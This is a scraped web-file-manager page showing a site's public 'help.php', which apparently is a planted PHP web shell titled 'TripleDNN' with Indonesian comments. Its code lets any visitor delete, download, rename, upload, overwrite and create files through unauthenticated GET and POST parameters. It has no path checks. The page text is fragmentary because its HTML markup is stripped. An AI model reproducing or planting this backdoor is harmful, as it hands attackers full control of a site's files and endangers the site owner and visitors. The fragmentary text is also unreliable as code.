芝麻web文件管理V1.00
编辑当前文件:/home/lekhnath/silverray.com.au/public/help.php
'; echo '
📁 ' . $directory . '
'; echo '
Folder
'; echo '
Edit
|
Delete
|
Rename
|
Download
'; echo ''; } // Tampilkan file di bawah foreach ($regular_files as $file) { echo '
'; echo '
' . $file . '
'; echo '
' . filesize($dir . '/' . $file) . ' bytes
'; echo '
Edit
|
Delete
|
Rename
|
Download
'; echo '
'; } } // Fungsi untuk menghapus file if (isset($_GET['delete'])) { $file_to_delete = $current_dir . '/' . $_GET['delete']; if (is_file($file_to_delete)) { unlink($file_to_delete); } header("Location: ?dir=" . urlencode($_GET['dir'])); } // Fungsi untuk download file if (isset($_GET['download'])) { $file_to_download = $current_dir . '/' . $_GET['download']; if (is_file($file_to_download)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"'); header('Content-Length: ' . filesize($file_to_download)); readfile($file_to_download); exit; } } // Fungsi untuk rename file if (isset($_POST['rename_file'])) { $old_name = $current_dir . '/' . $_POST['old_name']; $new_name = $current_dir . '/' . $_POST['new_name']; rename($old_name, $new_name); header("Location: ?dir=" . urlencode($_GET['dir'])); } // Fungsi untuk upload file if (isset($_POST['upload'])) { $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); header("Location: ?dir=" . urlencode($_GET['dir'])); } // Fungsi untuk mengedit file if (isset($_POST['save_file'])) { $file_to_edit = $current_dir . '/' . $_POST['file_name']; $new_content = $_POST['file_content']; file_put_contents($file_to_edit, $new_content); header("Location: ?dir=" . urlencode($_GET['dir'])); } // Fungsi untuk membuat file baru if (isset($_POST['create_file'])) { $new_file_name = $_POST['new_file_name']; $new_file_path = $current_dir . '/' . $new_file_name; // Buat file baru dengan konten kosong file_put_contents($new_file_path, ""); header("Location: ?dir=" . urlencode($_GET['dir'])); } ?>
TripleDNN
Current Directory:
Upload
Create File
File Name
Size
Actions
Rename
</textarea>
Save Changes